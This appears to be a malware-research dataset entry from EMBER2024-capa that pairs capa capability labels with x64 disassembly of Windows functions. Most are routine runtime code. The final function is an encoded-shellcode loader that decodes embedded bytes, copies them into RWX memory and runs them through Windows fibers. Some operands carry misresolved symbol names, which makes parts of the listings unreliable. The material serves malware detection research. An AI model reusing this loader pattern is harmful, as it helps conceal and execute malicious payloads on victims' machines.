joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400d3e80
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xb0
mov rax, qword [0x14016d8a0]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov r14d, r8d
mov r12, rdx
mov qword [rsp + 0x28], rdx
mov rbx, rcx
add rcx, 8
mov rax, qword [rcx]
call qword [rax + gethostname]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x78]
mov rcx, rax
mov qword [rsp + 0x30], rax
mov rax, qword [rax]
call qword [rax + 0x48]
mov r15d, eax
test eax, eax
je 0x1400d406a
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x78]
mov rdi, rax
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x78]
mov rsi, rax
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x48]
mov edi, eax
add edi, edi
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x40]
add eax, edi
mov r13d, eax
mov rsi, qword [rbx + 0x28]
mov rdi, qword [rbx + 0x20]
mov qword [rsp + 0x20], rdi
xor ebp, ebp
cmp rdi, r13
je 0x1400d3f7e
test eax, eax
jne 0x1400d3f33
mov r12d, ebp
jmp 0x1400d3f3e
mov rcx, r13
call fcn.1400bc400
mov r12, rax
mov r8, rdi
cmp r13, rdi
cmovb r8, r13
test rsi, rsi
je 0x1400d3f76
test r12, r12
je 0x1400d3f62
test r8, r8
je 0x1400d3f62
mov rdx, rsi
mov rcx, r12
call fcn.1400e0050
mov rdi, rsi
xor eax, eax
mov rcx, qword [rsp + 0x20]
rep stosb byte [rdi], al
mov rcx, rsi
call fcn.14001f120
mov rsi, r12
mov r12, qword [rsp + 0x28]
mov qword [rbx + 0x28], rsi
mov qword [rbx + 0x20], r13
mov qword [rbx + 0x18], 0xffffffffffffffff
cmp r14d, r15d
ja 0x1400d3fb2
test rsi, rsi
je 0x1400d3fdc
test r12, r12
je 0x1400d3fdc
test r14d, r14d
je 0x1400d3fdc
mov r8, r14
mov rdx, r12
mov rcx, rsi
call fcn.1400e0050
jmp 0x1400d3fdc
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x78]
mov rdi, qword [rax]
mov r9, r14
mov r8, r12
mov rdx, qword [rbx + 0x28]
mov rcx, rax
call qword [rdi + 0x60]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x40]
mov r14d, eax
mov r8d, r15d
sub r8d, r14d
mov ecx, r14d
add rcx, qword [rbx + 0x28]
xor edx, edx
call fcn.1400e0700
test r15d, r15d
je 0x1400d403f
mov rsi, rbp
mov r14, r15
nop dword [rax + rax]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x78]
mov rdi, qword [rbx + 0x28]
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x48]
mov edx, eax
add rdx, rdi
mov rax, qword [rbx + 0x28]
movzx ecx, byte [rsi + rax]
xor cl, 0x5c
mov byte [rdx + rbp], cl
mov rax, qword [rbx + 0x28]
xor byte [rsi + rax], 0x36
lea rsi, [rsi + 1]
lea rbp, [rbp + 1]
sub r14, 1
jne 0x1400d4000
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.1400ddaa0
mov rbx, qword [rsp + 0x108]
add rsp, 0xb0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rdx, str.HMAC:_can_only_be_used_with_a_block_based_hash_function
lea rcx, [rsp + 0x38]
call fcn.140004700
nop
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x60]
call fcn.140014d70
lea rdx, [0x14016aee8]
lea rcx, [rsp + 0x60]
call fcn.1400e0dc4
int3
Function at 0x1400deb20
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400deb6a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400deb6a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400deb6a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400deb6a
cmp dword [rcx + 0x84], 0xe
jbe 0x1400deb6a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400deb6c
xor al, al
add rsp, 0x28
ret

Function at 0x1400ed4f0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400ed34f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400ed34f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400ed34f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400ed34f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400ed34f
cmp dword [rcx + 0x84], 0xe
jbe 0x1400ed34f
cmp dword [rcx + 0xf8], 0
je 0x1400ed34f
mov ecx, ebx
call fcn.1400ed40c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400ed1dc
nop
cmp dword [rbp + 0x20], 0
je 0x1400ed39d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400ed3a8
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400ed2e0
Function at 0x1400f7a14
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1400de700
sub rsp, rax
mov rax, qword [0x14016d8a0]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.1401089b8
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1400f7a63
mov rax, rbp
jmp 0x1400f7b6b
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x1751f0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1400fe0d8
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x1751f0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1400f7b67
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400f7b67
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1400fe0d8
test rax, rax
js 0x1400f7b67
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1400f7b67
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1400f7b59
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x1400f7b59
cmp byte [rcx], 0xd
jne 0x1400f7b3f
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1400f7b4e
cmp byte [rcx + 1], 0xa
jne 0x1400f7b4e
inc rcx
jmp 0x1400f7b4e
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x16dae0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1400f7b21
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1400f7b6b
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1400ddaa0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400fcba0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x240
mov rax, qword [0x14016d8a0]
xor rax, rsp
mov qword [rsp + 0x230], rax
lea rdx, [0x14013cdf8]
mov rbp, rcx
call fcn.1400fb0dc
xor edi, edi
test rax, rax
je 0x1400fcc86
mov ebx, edi
call fcn.1400f46b8
mov r14d, dword [rax]
call fcn.1400f46b8
mov r8d, 0x104
lea rcx, [rsp + 0x20]
mov rdx, rbp
mov dword [rax], edi
call fcn.14010ebb4
mov rsi, rax
test rax, rax
je 0x1400fcc17
call fcn.1400f46b8
mov dword [rax], r14d
jmp 0x1400fcc41
call fcn.1400f46b8
cmp dword [rax], 0x22
jne 0x1400fcc7e
call fcn.1400f46b8
xor r8d, r8d
mov rdx, rbp
xor ecx, ecx
mov dword [rax], r14d
call fcn.14010ebb4
mov rbx, rax
mov rsi, rax
test rax, rax
je 0x1400fcc7e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], di
jne 0x1400fcc45
cmp rax, 3
je 0x1400fcc60
mov rcx, rsi
call fcn.1400fcafc
test al, al
je 0x1400fcc71
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x1400fcc71
mov dil, 1
mov rcx, rbx
call fcn.1400f0c34
mov al, dil
jmp 0x1400fcc88
mov rcx, rbx
call fcn.1400f0c34
xor al, al
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.1400ddaa0
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140106bfc
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x1401751f0]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x140106c5a
cmp word [rdx], r12w
jne 0x140106c5a
or byte [rax + r8*8 + 0x38], cl
jmp 0x140106c60
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x140106dbb
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x140106d96
lea r9, [rcx + 2]
cmp ax, r13w
je 0x140106c99
mov rcx, r9
jmp 0x140106cbc
cmp r9, rdx
jae 0x140106cd3
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x140106c7d
jmp 0x140106dbb
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140106d90
cmp dword [rsp + 0x80], edi
je 0x140106d90
mov rdx, r14
lea r11, [0x1401751f0]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x140106d69
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x140106d3c
mov word [rbx], r12w
jmp 0x140106db7
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x140106d45
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x140106db7
cmp word [rsp + 0x70], r12w
jne 0x140106d76
cmp rbx, rsi
je 0x140106d36
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.1400fe0e0
cmp word [rsp + 0x70], r12w
je 0x140106dbb
mov word [rbx], r13w
jmp 0x140106db7
lea r11, [0x1401751f0]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x140106db3
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x140106dbb
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14010cb2c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x14010cb5e
call fcn.1400f46b8
mov dword [rax], socket
call fcn.1400ed144
jmp 0x14010cc7d
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14010cc7d
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x14010cc7d
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x14010cb8d
lock or dword [rcx + 0x14], 0x10
jmp 0x14010cc7d
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x14010cba1
call fcn.14010cd4c
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.1401089b8
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.1401070a8
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x14010cc6b
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x14010cc36
mov rcx, rsi
call fcn.1401089b8
cmp eax, edi
je 0x14010cc21
mov rcx, rsi
call fcn.1401089b8
cmp eax, 0xfffffffe
je 0x14010cc21
mov rcx, rsi
call fcn.1401089b8
movsxd rbx, eax
lea r14, [0x1401751f0]
mov rcx, rsi
sar rbx, 6
call fcn.1401089b8
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x14010cc28
lea rdx, [0x14016dd60]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14010cc36
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x14010cc5a
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x14010cc5a
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x14010cc5a
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x14010cc80
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x14010e6f8
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400fe0e0
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400fe0e0
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14010e848
cmp rax, 0xffffffffffffffff
je 0x14010e848
xor edi, edi
test rbp, rbp
jle 0x14010e7f3
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1401094e4
mov rbx, rax
test rax, rax
jne 0x14010e780
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14010e7e9
mov edx, 0x8000
mov ecx, r14d
call fcn.140105080
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140107fec
cmp eax, 0xffffffff
je 0x14010e7c9
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14010e790
mov edx, r15d
mov ecx, r14d
call fcn.140105080
jmp 0x14010e7e9
cmp byte [rsi + 0x38], dil
je 0x14010e7e0
cmp dword [rsi + 0x34], 5
jne 0x14010e7e0
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x14010e7e9
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14010955c
jmp 0x14010e85c
jns 0x14010e85c
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400fe0e0
cmp rax, 0xffffffffffffffff
jne 0x14010e814
cmp byte [rsi + 0x30], dil
je 0x14010e85c
mov edi, dword [rsi + 0x2c]
jmp 0x14010e85c
mov ecx, r14d
call fcn.14010e5e8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14010e85c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x14010e85c
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14010e855
mov eax, dword [rsi + 0x2c]
jmp 0x14010e85a
mov eax, socket
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400fe0e0
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140111ee0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140111f10
xor eax, eax
jmp 0x140111fd3
mov rbp, rbx
cmp word [rax], si
je 0x140111f35
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140111f1c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140111f18
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14010f04c
movsxd r14, eax
test eax, eax
jne 0x140111f73
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140111f09
mov rcx, r14
call fcn.140109598
mov rdi, rax
test rax, rax
jne 0x140111f8c
xor ecx, ecx
call fcn.14010955c
jmp 0x140111f68
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14010f04c
test eax, eax
jne 0x140111fbd
mov rcx, rdi
call fcn.14010955c
jmp 0x140111fc7
xor ecx, ecx
call fcn.14010955c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140111ff0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140112077
mov rsi, rbx
cmp word [rax], bp
je 0x140112036
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140112020
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14011201c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140109598
mov rdi, rax
test rax, rax
je 0x140112064
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400e0050
mov rbp, rdi
xor ecx, ecx
call fcn.14010955c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1401154c8
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1401154e8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400f462c
or eax, 0xffffffff
jmp 0x1401154ea
xor eax, eax
add rsp, 0x28
ret
Function at 0x140118990
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400f1b24
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140118a1a
cmp byte [rbp - 0x21], r15b
je 0x140118a15
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140118a50
call fcn.14010afac
test eax, eax
jne 0x140118a3c
cmp byte [rbp - 0x21], r15b
je 0x140118a34
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140118a50
cmp byte [rbp - 0x21], r15b
je 0x140118a4d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400fb838
test eax, eax
jne 0x140118af0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400f1b24
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140118a8f
cmp byte [rbp - 0x21], r15b
je 0x140118ac4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140118ac4
call fcn.14010afac
test eax, eax
jne 0x140118ab0
cmp byte [rbp - 0x21], r15b
je 0x140118aa9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140118ac4
cmp byte [rbp - 0x21], r15b
je 0x140118ac1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400fb838
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140118af0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140118af3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140118b01
mov rcx, rdi
call fcn.14010955c
cmp byte [rbp + 0x3f], r15b
je 0x140118b10
mov rcx, qword [rbp + 0x27]
call fcn.14010955c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400355c0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400355d0]
mov dword [rax], 1
mov rax, qword [0x1400355e0]
mov dword [rax], 1
mov rax, qword [0x140035570]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400355b0]
mov dword [0x14003800c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140035680]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140035660]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140035520]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows fibers

Disassembly:
push rbp
mov eax, 0x31210
call fcn.1400025d0
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
call rax
mov qword [rbp + 0x31180], rax
lea rax, [rbp - 0x60]
lea rdx, section..rdata
mov ecx, 0x311c3
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x3118c], 0
jmp 0x1400014d3
mov eax, dword [rbp + 0x3118c]
cdqe
movzx eax, byte [rbp + rax - 0x60]
lea edx, [rax - 7]
mov eax, dword [rbp + 0x3118c]
cdqe
mov byte [rbp + rax - 0x60], dl
add dword [rbp + 0x3118c], 1
mov eax, dword [rbp + 0x3118c]
cdqe
cmp rax, 0x311c2
jbe 0x1400014b0
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x311c3
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x31178], rax
mov rax, qword [rbp + 0x31178]
mov rcx, rax
lea rax, [rbp - 0x60]
mov edx, 0x311c3
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov rax, qword [rbp + 0x31178]
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateFiber]
call rax
mov qword [rbp + 0x31170], rax
mov rax, qword [rbp + 0x31170]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SwitchToFiber]
call rax
mov eax, 0
add rsp, 0x31210
pop rbp
ret